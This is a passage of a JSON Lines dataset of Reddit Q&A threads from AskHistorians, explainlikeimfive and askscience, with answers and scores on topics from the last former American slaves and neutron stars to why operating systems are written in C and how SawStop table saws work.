\n\n-------\n\nA few verbs change meaning with preterite vs imperfect. Saber, querer, tener, and maybe a few others. \n\nWith saber, imperfect implies that you have known for some indefinite amount of time. Preterite implies that you just found out. \n\nFor querer, imperfect implies that you generally wanted something. Preterite implies that you wanted it, but then tried to get it and failed and then you didn't want it anymore. \n\nFor tener, imperfect is \"had.\" In preterite it means something more like \"received.\"  You didn't have it before but then suddenly you had it. \n\n------\nBasically, you use preterite to signify change, things that happened one specific time, and things that have happened, continued, and then ended (We stayed at the hotel for one month.).   \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2xy51z", "title": "When did the last former American slave (who'd been owned lawfully) die?", "selftext": "I was having a conversation with my mother the other day, and we were trying to figure out if there were any former slaves alive when she was born. She was born in 1961, and the 13th Amendment was ratified in 1865, so I figure there must have been, right, even if they were only kids when they were emancipated. But I looked it up on Wikipedia, and couldn't get a straight answer. There were two people described as \"one of the last\" former slaves, but they died in [1948](_URL_0_) and and [1951](_URL_1_). Which seems too early for the last former slaves to have died, especially given that they were born in the 1840s.\n\nDo we know who the last living former slave was? And if not, do we at least have a general idea of when the last ones died?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2xy51z/when_did_the_last_former_american_slave_whod_been/", "answers": {"a_id": ["cp4vn45", "cp550nx"], "score": [21, 35], "text": [" >  There were two people described as \"one of the last\" former slaves, but they died in 1948 and and 1951. Which seems too early for the last former slaves to have died, especially given that they were born in the 1840s.\n\nCould you explain what you mean here?", " > Do we know who the last living former slave was? \n\nThere are several people who claimed to have been born into slavery who lived into the 1970s and even the 1980s, the issue is determining whether or not they were actually born in the days of slavery as they claimed. \n\nClaimants:\n\n\n\n\n\n\n\n- **Sylvester Magee**, 1841-1971?\n- **Peter Mills**, 1861-1972?\n- **Toby Crosby**, 1854-1976?\n- **Nora Lee**, 1859-1977?\n- **Sam Brown**, 1860-1978?\n- **Charlie Smith**, Claimed 1842-1979, Research Suggests 1874-1979\n- **Arthur Reed**, 1860-1984?\n\nCharlie Smith was invited to the launch of the Apollo 17 as a VIP guest, with [newspapers reporting that a former slave was to watch a rocket ship launch](_URL_1_), however [subsequent research suggests](_URL_0_) he was 30 years younger than he claimed and that he was born well after the Emancipation Act.\n\nThere is not evidence to support the age claims of Magee, Crosby, Lee, Brown and Reed, and given the immensity of their claimed ages in comparison in lifespans that have been verified (Magee, Crosby and Reed all claim to be the oldest person ever), they should all be assumed to be longevity myths in the vein of Charlie Smith's claim unless some new evidence is found.\n\nThat leaves us with Mr Peter Mills, [who claimed a reasonable age](_URL_4_) (110) and who actually has some evidence to support his age claim, [1910](_URL_5_) and [1920](_URL_3_) censuses have been located which support Mr Mill's claimed age.  \n\nThus, the last living former slave that we know about is Mr Mills (who died in 1972), but note history books often cite Eliza Moore or Teen Blackburn as \"the last slave\". Not necessarily because Mr Mills is a less reliable claimant than them, but rather because they are more interested in former slaves who were old enough to have done slave work and have memories of doing so.  \n\nSources:\n\n_URL_0_\n\n_URL_2_\n\n_URL_1_)\n\n_URL_4_\n"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Eliza_Moore", "https://en.wikipedia.org/wiki/Alfred_%22Teen%22_Blackburn"], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3062986/", "http://news.google.com/newspapers?nid=1798&amp;dat=19721205&amp;id=0nU0AAAAIBAJ&amp;sjid=I40EAAAAIBAJ&amp;pg=7015,748615", "http://www.grg.org/Adams/AmericanClaimants.htm", "https://familysearch.org/pal:/MM9.1.1/MJFH-15V", "http://news.google.com/newspapers?nid=1129&amp;dat=19720923&amp;id=asdaAAAAIBAJ&amp;sjid=x2wDAAAAIBAJ&amp;pg=6526,3415529", "https://familysearch.org/pal:/MM9.1.1/MKLL-HVY"]]}
{"q_id": "b1sax2", "title": "How Did A Chain Prevent Naval Incursions?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b1sax2/how_did_a_chain_prevent_naval_incursions/", "answers": {"a_id": ["eiohtb7"], "score": [14], "text": ["For the case of Constantinople, you may want to check out [this thread,](_URL_0_) with notable answers from /u/Gaimar.  Of course, there is always more to say about chaining waterways, because it was done in other places (as you note), but it is one of the more famous ones."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7s75la/during_the_siege_of_constantinople_the_byzantines/"]]}
{"q_id": "4coj45", "title": "how do muslim women bear the heat of wearing a hijab or a burqa?", "selftext": "I've wondered how Muslim women could handle the heat of black cloth wrapped around their head or covering their entire body while living in an arid climate.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4coj45/eli5_how_do_muslim_women_bear_the_heat_of_wearing/", "answers": {"a_id": ["d1k2rub", "d1k3rf0", "d1kfnhq", "d1kjx72", "d1kqdod"], "score": [63, 15, 2, 3, 2], "text": ["I asked the same question until I hiked the Grand Canyon in June.  It's better to have your body covered  &  slightly hot than uncovered and cooking in UV radiation.  Everyone in our group had long sleeves and head covering.\n\nLook at the average temperature for a July day in Yuma, Arizona.  Then look at the 2007 movie [3:10 to Yuma](_URL_0_).  They're all wearing long sleeves  &  big brimmed hats.  Ranchers in the American southwest dressed like that for a reason.  (Now, the movie 3:10 to Yuma doesn't take place in Yuma, it takes place in Bisbee, but it's still southern Arizona)\n\nSeems counterintuitive, but long sleeves  &  hats are better than short sleeves  &  shorts.", "We had one very similar question earlier today.\n\n[ELI5: Does wearing black clothes in the desert somehow help someone cope with the heat?](_URL_1_)\n\nIn addition I did a bit of quick googling, it seems like the women do feel that it's a bit uncomfortable. From the main text of a [PhD thesis](_URL_0_):\n\n > This survey has revealed that wearing an abaya causes discomfort in hot environments. The degree of comfort depends on the type of the abaya fabric and design as well as the type of clothing worn underneath the abaya. [...] The area of the body that experienced maximum heat stress was found to be in the neck, front and back of the body, which represent the torso area. [...] Women wearing abayas with multilayers of clothing perspire a lot. [...] The present research demonstrates that wearing an abaya with multilayers of clothing creates problems of feeling uncomfortable in many circumstances.\n\nSo it appears that although black robes in the hot sun isn't as terrible as we might think, it's still pretty bad. So I guess the women just endure despite the heat.", "Black catches the heat on the surface and does not let it in. \nTouaregs also cover themselves with dark cloth, and they live in the sahara desert.", "It's actually very practical clothing, men in those areas also traditionally wear things that aren't all that different with the same full body dress and head covering. \n\nIt only really got the controlling women/oppressive stuff added in when you started moving away from the areas it developed in and stopped being so practical. ", "Have you ever seen what the people crossing huge streches of desert in Africa wear. Generally, all you can see is their eyes or face. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.imdb.com/title/tt0381849/"], ["http://researchbank.rmit.edu.au/view/rmit:161336", "https://www.reddit.com/r/explainlikeimfive/comments/4co6et/eli5_does_wearing_black_clothes_in_the_desert/"], [], [], []]}
{"q_id": "3cnb46", "title": "Is the breathable liquid in \"The Abyss\" possible?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3cnb46/is_the_breathable_liquid_in_the_abyss_possible/", "answers": {"a_id": ["csxbwr8", "csxcpg3", "csxj04b", "csxppo6"], "score": [82, 22, 8, 2], "text": ["Not only is it real, but that scene with the rat actually happened. Real rat, real breathable fluid. The actual fluid itself is clear, but they dyed it pinkish for the movie.  Apparently the scene is shorter than they'd have liked, because the rats kept panicking and defecating in the fluid.   Apparently after some antibiotic treatments the rats were fine.\n(source: DVD commentary from Abyss)", "I took an animal physiology course this past semester and we discussed this. It is possible because oxygen gas is soluble in sufficient enough quantities in that liquid for the rat to breathe. We couldn't do this with water, for example, because oxygen gas is not very soluble within water. However, the muscles we used to breathe, and the rat's, are designed to carry the weight of moving air into and out of our lungs. Moving a liquid into and out of our lungs would put tremendous stress on intercostal muscles and diaphragm. So although it is possible to breathe in such a medium, it really is not good for your body. \n\nEdit: made a word change", "Something I wanted to add along with the other great responses here- the fluid is real, and it works, but breathing it all the time would introduce a few complications.  A big one being that unless the fluid was somehow less dense than air, \"spent\" fluid which contains no more oxygen would tend to pool in the lungs, which is a problem because we tend not to exhale the entire volume of our lungs when we breathe.  We would need assistance with getting the deoxygenated fluid out of the lungs.  Also, the muscles we use to breathe would be under more stress as they need to move denser fluid.", "Some interesting responses here....enjoy a somewhat more established accounting here _URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Liquid_breathing"]]}
{"q_id": "3dubr2", "title": "why are operating systems written in c?", "selftext": "Windows, Mac OSX, Linus all use C. Windows uses C and C++. Mac uses C and Objective-C. Linux uses just C (I think). Is there any inherent benefit in using C as opposed to python or Java or any other programming language? I have never seen python or Java outside of the context of a C based operating system, so does it mean that python and Java can't work without C? Also why do Windows and Mac use c++ and objective-c when they are based in c? Anything that c++ and objective-c can be accomplished in c. Is that correct?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dubr2/eli5why_are_operating_systems_written_in_c/", "answers": {"a_id": ["ct8p2dx", "ct8p2qd", "ct8p5xf", "ct8pq3t", "ct8pxzw", "ct8q1it", "ct8qz8n", "ct8slt1", "ct9544e"], "score": [49, 8, 3, 16, 4, 9, 3, 2, 3], "text": ["Your OS needs to care about all the low-level details like interfacing with your hardware or managing memory. Languages running in VMs (Java, C#) or interpreters (Python) do not offer such functionality and adding them does not make any sense from a language point of view (because you actually do not _want_ them).", "Two reasons probably:\n\nThe operating systems were originally written in C and changing code may be more trouble than it's worth.\n\nC is a lower level language meaning that the instructions are more closely related to the machine's code. As such, compiling into machine code is more efficient and less bloated. You ~~definitely~~ probably don't want an OS written [entirely] in Java.\n\nEdit: My statement about Java was probably too strongly worded.", "C is an old language and there hasn't been a new major operating system written in the last 25 years. Windows is from 1985. OS X is based on NextSTEP from 1989. Linux is from 1991, but designed to be a recreating of Unix which is from 1969.\n\nAll these operating systems predate Java, Python and most other modern languages. Microsoft wrote a new research operating system call Singularity that was mostly written in C# but it was discontinued in 2010.\n\nI believe Sun made machines that ran Java directly in the 1990s but they never caught on.\n\nC++ and Objective-C add features to C to make it easier to use. You could do everything they do in C, but it would be harder.", "C is very low level. Higher level languages like Python and Java run on top of a VM that abstracts away the underlying hardware. That's good if you want to write a program that doesn't care what platform it's running on. That's bad if you want to write an operating system, which by its nature must interact with the underlying hardware.\n\nFor example, on systems using memory mapped I/O, all your peripherals are mapped to a memory address, and you interface with them by writing data to that area of memory. Doing that requires raw pointers, which higher level languages often don't have.", "To answer your follow-on questions - yes, it means that Java and Python can't work without C (or, at the very least, assembly language).  C++ and Objective-C are used for application-level development because they're inefficient compared to straight C.  You don't mind the inefficiency so much when it only impacts your application.  But when you're writing base-level code that is accessed by *everything*, you don't want all sorts of unnecessary stack maintenance just so you can make your source code look prettier.\n\nTo some extent, writing low level code is more about coding style than anything else.  People who write high level application code use tools to make their life easier.  People who write low level code use tools to make the *machine's* life easier.", " > I have never seen python or Java outside of the context of a C based operating system, so does it mean that python and Java can't work without C?\n\nSeeing as how both the Python interpreter and the Java virtual machine were written in C, in a sense that's the case.", "Python and Java high level languages. This means they are easy to use but slow. Assembler is low level. This means it's almost impossible for some to use, but very fast as it uses hardware instructions directly. C is somewhere in between so perfect for writing an OS which has to be fast but it's also quite complex.", "**Real ELI5** : *You know all the power tools in Daddy's basement? You can make awesome stuff with them!! But, you can't use them because they are dangerous. Only people who know how to be safe with them can use them, but those people can do cooler, more intricate stuff with them than you can with your plastic tools. Sometimes certain projects require the precision that these tools use, but access to that precision makes them dangerous.*\n\nC is one of the OG Object Oriented Languages (OOLs). Most other OOLs pretty much use C to run. C lets you control a lot of stuff that other lanaguages don't because they're meant to be easier to use and don't want to allow people to screw stuff up. For example, don't go trying to say where to put an object in memory for Java. It doesn't want you to because that stuff is hard and can screw up a machine. Java and most other high level OOLs will also do \"garbage collecting\" (the removal of stuff from memory) automatically.\n\nEdit: clarity", "Lots of half-answers here. There are two main reasons: purpose and low-level.\n\nPurpose just means that C was designed to write an operating system; very few other languages have been, since they're designed to run *on top of* an operating system. This requires a bit of history that I'll talk about below.\n\nLow-level means that C doesn't abstract away *anything*. If you want three characters worth of memory, you don't ask a memory manager or VM like you do in most other languages: you run malloc() for 3 bytes of storage. You need this kind of low level access and lack of abstraction to make an operating system.\n\nNow back to the history, because its what ties both of those together.\n\nBefore C, there wasn't a general-purpose system programming language. If you wanted to write an OS, you wrote assembly for the target architecture, which gets prohibitively more difficult when there are dozens of competing and incompatible architectures. There was just that kind of environment in the late 60's-70's.\n\nEnter UNIX. It was originally written in assembly on a PDP. Then, K & R began creating a language specifically to implement the system at a more abstracted level. Thus was born C. So in effect, C was designed specifically to write the kinds of low-level facilities than an OS provides. This also comes with the huge benefit of portability. With high(er)-level code, all you need to do to get the system running on a particular architecture, is have a compiler for that architecture. You don't need to rewrite huge swaths of the OS code for the new system. And that means that the OS could become popular, which leads to...\n\nWith the spread of UNIX came traction, which is another huge factor. By the time Microsoft were writing Windows in the late 80's, there just wasn't a choice: if you wanted to implement an OS, you used the best language for that: C. And that is still true to this day.\n\nTo put it in even simpler terms: most other modern languages, especially the ones you mentioned, are themselves written in C and compiled and/or executed by a C program. C is the level between the machine itself, and those high level languages.\n\nTL;DR you write OSes in C because C is designed to write OSes; almost no other programming languages are, because C is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "1kilk9", "title": "Why did some cultures develop a bride-price, and others develop dowry?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1kilk9/why_did_some_cultures_develop_a_brideprice_and/", "answers": {"a_id": ["cbphzz7", "cbpia06", "cbpmuf2", "cbpq2jw"], "score": [5, 85, 5, 2], "text": ["Might I point out that they're not mutually exclusive?  ", "Is the woman an asset or a liability (pre-marriage) to her family? \n\nWill she be an asset or a liability (to her prior family, and to her new husband) once she is married?\n\nIs the woman's *family* an asset or liability to the married couple? (eg Will they take care of their kids, provide other assistance?)\n\nDoes the couple live with the husband's or wife's family?\n\nCan the woman own  &  control property (to help out her own family later in life)? Can the woman do work outside the home?\n\nDo daughters typically take care of their parents when they age, or do sons take care of their parents when they age? (This partially depends on whether couples move near the husband's or wife's family.)\n\nEtc, etc, etc.\n\n*In some cultures, the answers to these questions are all slanted one way or another.* If a woman is a liability to her family and provides no value prior to her marriage - then that culture may evolve such that the family will pay money for someone (eg the husband, the husband's family) to take the woman off their hands. *In this case, the woman is a liability.* (Such cultures often favour the birth of sons as a result.)\n\nOn the other hand, if the woman provides (pre-marriage) value to her family, but may not do so post-marriage, and at the same time will provide value to the husband and his family, then that culture may institute a \"purchase\" of the woman from her family. *In such cases, the woman is an asset.*\n\n(Of course, families of either sons or daughters may also provide value to the married couple - and that economic factor has to be considered as well. Also to be considered should be the proportion of men to women in a particular culture (wars have a tendency to reduce the number of men).)\n\nTLDR: Are woman a liability or an asset in a particular culture?\n\n- edited for (some) clarity", "This actually feels more like a question for /r/AskSocialScience, but however it gets answered it is an interesting one.", "Dowry is the daughter's part of the inheritance transferred to her new family at the wedding.\n\nBride price is an equal exchange of the woman and her value.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4juvlv", "title": "what would happen if i launched a proton beam at a neutron star?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4juvlv/eli5_what_would_happen_if_i_launched_a_proton/", "answers": {"a_id": ["d39vjha"], "score": [55], "text": ["Basically nothing. Neutron stars are the way they are because gravity has forced all of the nuclei in all of the atoms of a star's core right up next to each other. The electrons and protons in the star fuse into neutrons, leaving a stupidly massive and dense ball of pure neutrons. The only neutron stars we know of are many light years away, so we can't really observe them, but here's some things we do pretty much know about them:\n\n* If you dropped something from one meter away, it will hit the surface at a significant fraction of the speed of light. So fast, in fact, that the object would undergo the same reaction which made the neutron star and just become more neutronium smeared on the surface.\n\n* You can see more than 50% of the surface from one side. This is because they bend light around themselves so much that you can see light reflecting off the other side of the object.\n\n* They probably have complex channels which rout electrons in their surfaces. Not designed in any way, but the neutrons will stack such that any remaining electrons will kind of stick around near the surface in grooves. Your proton beam would just eat up these electrons. Eventually, you might make the neutron star positively charged, but that wouldn't actually make any difference until you added enough mass to make the entire thing collapse into a black hole. Which is way more than, for instance, the mass of Earth.\n\n* They could still theoretically be bright enough to see. Gasses thrown away in the process of forming the neutron star will still be around in the form of a nebula, and that nebula might eventually be drawn back toward the neutron star. The high gravitational forces around it would be strong enough to cause nuclear fusion as atoms rushed back into it, creating radiation of all frequencies. Including visible. And Gamma rays.\n\n* They spin really fast. You know that thing where you sit in a spinning chair, spin around, and then pull your legs in to spin faster? That's because spinning objects conserve angular momentum, which basically means that larger objects will spin faster as they shrink. Well, multiply that effect by several billion, and you find neutron stars which spin completely around thousands of times a second. One that we've measured has its surface spinning at 1/4th the speed of light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3oe5fv", "title": "what is a doornail and why is it dead?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3oe5fv/eli5_what_is_a_doornail_and_why_is_it_dead/", "answers": {"a_id": ["cvwej6a"], "score": [3], "text": ["[Wiktionary](_URL_0_) has a plausible exlanation:\n\n >  One plausible explanation is that doors were built using only wood boards and hand forged nails: the nails were long enough to dead nail the (vertical) wooden panels and (horizontal) stretcher boards securely together, so they would not easily pull apart. This was done by pounding the protruding point of the nail over and down into the wood. A nail that was bent in this fashion (and thus not easily pulled out) was said to be \"dead\", thus dead as a doornail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wiktionary.org/wiki/dead_as_a_doornail"]]}
{"q_id": "2oqpn0", "title": "why do the japanese care about blood groups?", "selftext": "What is the cultural context behind it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2oqpn0/eli5_why_do_the_japanese_care_about_blood_groups/", "answers": {"a_id": ["cmpmb6q"], "score": [6], "text": ["There was an Japanese person who wrote a best-selling book in the 1920s or 30s on personality being determined by blood group. They were successful in convincing people it was scientific, since it was based on a biological testable characteristic. In other words, the writer made it seem like a scientific fact, even though it's total pseudoscience. The kicker is that the book was written before the Rh factor was known, so that's not even included in the book. Meaning that there are only 4 personality types (A, B, O, AB), even though you can divide blood types into many categories. \n\nThen, the issue fell by the wayside until the book was rediscovered in the 1970s. It was written about in lots of newspapers and magazines as something deceptively simple yet deep, and the more you hear something  repeated, the more you believe it, even with no evidence. Here's a secret: most people don't know what they're doing. They look for advice on how to do things right. Some turn to psychologists, others to self-help books, religion, or expensive seminars by Tony Robbins. In France, they put a lot of import in handwriting analysis. In Japan, blood type was integrated into the toolkit of how to find good employees and set up effective teams, and then it really did matter in a concrete way, since employers started asking applicants' blood type. That turned it into something important, and like \"The Emperor's New Clothes\", no one wanted to be the one to contradict the \"experts\". So it perpetuates. I think it's tangentially related to the genre of nihonjinron--books that focus on an aspect of Japan or Japanese culture, art, language, geography, or biology, to show how the Japanese are unique and special. While blood typing doesn't do that, it is similar in being a highly reductivist view of the world that simplifies complex issues into a small box, using pseudoscience and fallacies of logic in lieu of science and concrete data."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4oag9u", "title": "Do gun waiting periods effect suicide rates?", "selftext": "This question occurred to me and I was surprised to find that google didn't return any really good info.  What studies are out there about this and why don't they get more publicity?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4oag9u/do_gun_waiting_periods_effect_suicide_rates/", "answers": {"a_id": ["d4b9bds", "d4cg23r"], "score": [8, 2], "text": ["That's probably because Congress does not allow for funding of research into pretty much anything related to gun violence.\n\nHowever, we can look at other countries to attempt to draw conclusions.\n\nIn Australia, they've gotten rid of many guns and found that suicide rates plummeted: _URL_0_ .\n\nThe idea being that many suicides are 'spur of the moment' type things and that the presence of a very very easy method (via gun) allows them to occur. But, removing that method frequently allows the person's strong suicidal urge to 'pass'. A) this is an oversimplification, of course and B) you probably knew this part, thus why you asked.\n\nAssuming that interpretation is correct, then, in theory, a waiting period should have close to the same effect, assuming someone didn't buy the gun prior to their suicidal urge.", "\n\"Strict state gun laws could lead to drops in suicide, study says\"\n_URL_5_\n\n\"Gun Laws Associated With Lower Suicide Rates\"\n_URL_2_\n\nSTATE BACKGROUND CHECK REQUIREMENTS AND SUICIDE\n_URL_1_\n\n\"Suicide, Guns, and Public Policy\" (2013)\n_URL_0_\n\n\"Effects of changes in permit-to-purchase handgun laws in Connecticut and Missouri on suicide rates.\"\n_URL_3_\n\n\"Suicide Rates and State Laws Regulating Access and Exposure to Handguns\"\n_URL_7_\n\n\"The Evolving Position of the American Psychiatric Association on Firearm Policy (1993-2014).\"\n_URL_4_\n\n\"Homicide and suicide rates associated with implementation of the Brady Handgun Violence Prevention Act.\" (2000)\n_URL_6_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Gun_laws_in_Australia"], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3518361/", "http://everytown.org/documents/2015/01/suicide-background-checks-fact-sheet.pdf/", "http://well.blogs.nytimes.com/2015/08/19/gun-laws-associated-with-lower-suicide-rates/?_r=0", "http://www.ncbi.nlm.nih.gov/pubmed/26212633", "http://www.ncbi.nlm.nih.gov/pubmed/26036695", "http://www.cnn.com/2015/09/02/health/gun-laws-lead-to-suicide-drop/", "http://www.ncbi.nlm.nih.gov/pubmed/10918704", "http://ajph.aphapublications.org/doi/abs/10.2105/AJPH.2015.302753"]]}
{"q_id": "6koi9x", "title": "dust bunnies", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6koi9x/eli5_dust_bunnies/", "answers": {"a_id": ["djnpxbt"], "score": [12], "text": ["They are small clumps of\u00a0dust\u00a0that form under furniture and in corners that are not cleaned regularly. They are made of hair,\u00a0lint, dead skin, spider webs, dust, and sometimes light rubbish and debris, and are held together by static electricty. They can house\u00a0dust mites\u00a0or other\u00a0parasites, and can lower the efficiency of dust filters by clogging.\n\nThe movement of a single large particle can start the formation of a dust bunny. They are especially bad for electronic components because they can clog up the air flow, thus increasing heat and shortening the lifespan of electronic components.\n\u00a0"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ixtgn", "title": "What happens when a black hole runs out of \"food\"?", "selftext": "In other words, if a black hole entered an area of the universe completely devoid of matter large enough to encompass the entire gravitational influence of the black hole, what would happen? \n\nI don't know to many specifics about this, but just incase my question is completely misdirected: What would happen to a black hole put into a vacuum with no matter or energy including light (the black hole was teleported there instantly from another location)?\n\nAlso, do black holes eventually die? If not, is there some eventual change in phase similar to what happens to stars after extensive time? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ixtgn/what_happens_when_a_black_hole_runs_out_of_food/", "answers": {"a_id": ["c27hw8x", "c27hw9s", "c27hwz5", "c27i1z3", "c27ibvp", "c27ip9h"], "score": [4, 6, 36, 3, 2, 3], "text": ["It would eventually evaporate via [Hawking radiation](_URL_0_).", "It would just sit there being a black hole, not feeding, and there would be no hot cloud of swirling material around it either.\n\nYes they do \"die\"; they very slowly evaporate through hawking radiation.", "Black holes have a nonzero temperature, and since they cannot transfer heat through conduction or convection they must therefore radiate. (This radiation is known as Hawking radiation if you want to read up on it.) So if you place a black hole in a complete vacuum, it will very very slowly radiate away energy, until it radiates enough to collapse.\n\nHaving said that, the timescale for collapse of any black hole that we know of a mechanism to form is *ridiculously* large, on a timescale of 10^68 years. So \"nothing at all happens\" is a very good approximation.", " >  In other words, if a black hole entered an area of the universe completely devoid of matter large enough to encompass the entire gravitational influence of the black hole, what would happen?\n\nBlack holes, like anything else with mass, have gravitational influence that extends *everywhere*.  It gets weaker as it goes outward, but never reaches zero.", "I would recommend reading [the Wikipedia article on Black Holes](_URL_0_).  It will answer all the questions you have.", "It's a common misconception that any given black hole has stuff falling into it on a daily basis. This is probably due to people trying to put black holes into lay terms by describing them as cosmic vacuum cleaners, sucking up anything that isn't nailed down.\n\nIn reality, a black hole is like any massive body. Take a look at our sun; it isn't massive enough to form a black hole when it dies, but it's still pretty massive. Stuff isn't falling into our sun constantly, but rather the sun has things orbiting it. Similarly, a black hole has things orbiting it as well, although instead of planets, the strong gravitational forces will tear the stuff up into rubble which forms an accretion disk.\n\nOccasionally chunks of stuff in the accretion disk might bump into each other and something will be knocked out of orbit and fall in. Other times, something from outside the local system happens to be traveling by too close and gets sucked in. Besides those two cases, black holes don't \"eat food\" on a regular basis.\n\n(Black hole scientists, correct me if I said anything incorrect.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Hawking_radiation"], [], [], [], ["http://en.wikipedia.org/wiki/Black_hole"], []]}
{"q_id": "zymxf", "title": "what did obama do when he was a\" community organizer\" in chicago?", "selftext": "Also, he keeps talking about how he's part of the super rich class that needs to be taxed more, yet he came from a poor family and doesn't seem to have ever held a super high paying job. How'd he get rich?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zymxf/eli5_what_did_obama_do_when_he_was_a_community/", "answers": {"a_id": ["c68ults", "c68vb55", "c68vmrp"], "score": [3, 2, 3], "text": ["These are two completely different questions. First off, he's president, so he's earning 400K a year but most of his income is from book sales. None of this really has anything to do with being a community organizer.", "President Obama also made good money working as a law professor, lawyer, a state sentor, author. Not to mention he worked as a professor and lawyer at the same time. Not to mention Mrs. Obama career where she worked as an associate lawyer, worked in city of Chicago jobs, ran a non profit, associate dean at University of Chicago, then worked for the University of Chicago Hospitals.\n\nThey did well for themselves before getting into public office and Mrs. Obama was making more from some of her positions while the President was in the Senate.\n\nIll leave you with [this](_URL_1_). I think this idea is why we have progressive tax, that the well off can shoulder a larger burden without undue stress, not that they \"aren't giving their fair share\"\n\nOh and on the community org. Ill sum it up he helped grow and build a faith backed organization to help members of the community, go read the [early career in chicago section](_URL_0_) to get info on what work he did as a community organizer. ", "Obama has been a lawyer, professor and wrote two best selling books (this is where most of his money came from, he sold millions of copies) before every becoming president. His wife has also held many high paying jobs. Rich people come from poor backgrounds all the time. Not that every poor person becomes rich (obviously) but being rich doesn't mean you were born rich. Right now none of the 10 richest men on earth came from very wealthy backgrounds. \n\nAs to the other unrelated question, \"community organizer\" includes a lot of things. Overall though, it is about helping people organize for political ends. That could include helping people navigate the hurdles that occasionally come with applying for government benefits, or organize for more political ends like voter registration and lobbying elected officials. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Early_life_and_career_of_Barack_Obama", "http://www.youtube.com/watch?v=m2I5Frux5nY"], []]}
{"q_id": "9w3kqa", "title": "how do those table saws that stop when you touch them with your finger work?", "selftext": "Just saw a gif of one where they showed the saw completely stopping the second it was touched by a hot dog. How does it know what to stop for?\nEdit: Like the one in this gif: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9w3kqa/eli5_how_do_those_table_saws_that_stop_when_you/", "answers": {"a_id": ["e9h8lte", "e9hbpqe", "e9hdxpd", "e9hf684", "e9hg2mc", "e9hgclh", "e9hgiye", "e9hgjsz", "e9hhdin", "e9hisv6", "e9hkezs", "e9hr3xe", "e9hrao0", "e9hxg8z", "e9i06qc", "e9id9rg"], "score": [7242, 203, 24, 912, 2, 4, 60, 147, 8, 6, 5, 39, 6, 2, 4, 2], "text": ["The blade carries a small electrical signal, which the safety system continually monitors. When skin contacts the blade, the signal changes because the human body is conductive. This activates the safety system.", "Would it also stop coming in contact with metal or water for that matter?", "What happens if you wear gloves?", "In a related note, how do the saws work that cut off a cast without damaging the skin underneath?", "Is this also how those saws that remove casts work , like when you break your arm? ", "It was released along time ago, they released lots of promotional materials on it at the time. it works based on conductivity basically the moisture in your skin. Not sure how it would work with wet materials or anything somewhat conductive, imo it would probably make more sense to have special gloves that work with the machine that way it only responds to the glove being cut. To stop it it just jams a special block into the blade.  Having to spend a hundred bucks everytime something conductive touches the blade would suck. ", "I work with these every day and have replaced 10 or so cartridges that have activated. Thankfully they have all been tripped due to misuse or cutting an unauthorized material.\n\nNext to the blade is a spring loaded aluminum block, it is even curved to match the radius of the saw blade, this curve allows it to sit extremely close to the blade (about 1/4\u201d away).\nIf the sensor is tripped, the spring is \u2018unlocked\u2019 and pushes the aluminum block into the blade. There is another mechanism that drops the blade down below the table surface at the same time.\nWhat triggers the sensor to trip is conductivity. Wood, plastic, cardboard are not conductive.  However, there are a number of things that will trip the sensor (besides fingers), they include metal (even tiny staples/screws in wood), mirrored plastics, and wood with a high moisture content.", "Side question - in every demo that I've seen, the demonstrator carefully puts just the tip of their fintlger into the blade and demonstrates that the blade indeed stops. What would happen if I \"threw\" myself at such table? What would be the expected scope/level of damage?", "I've always wondered about this. I assume there has to be some skin penetration, correct? The saw is not going to instantaneously stop the second it makes contact with your finger, there must be at least a cut or a graze, correct?  \n\n\nSure as hell beats losing a finger or three, whatever the case.", "There is electricity in the human body. The saw has a machine that watches for an electric signal like the one we have and when it senses this a very powerful break is applied stopping the saw so quickly the blade doesn't cut you.\n\nThis video does a great job of giving a fairly simple yet in depth explanation on how the saw works. Near the end of the video a guy actually demonstrates with his finger. It stops that fast.\n\n_URL_0_", "It's almost identical technology to capacitive lamps. Ever had a lamp that you turn on by just touching the surface? Same principle. There is a standing electric signal which is disturbed (grounded for the purposes of this discussion). The response is, in this case, jamming the saw black into a solid block of 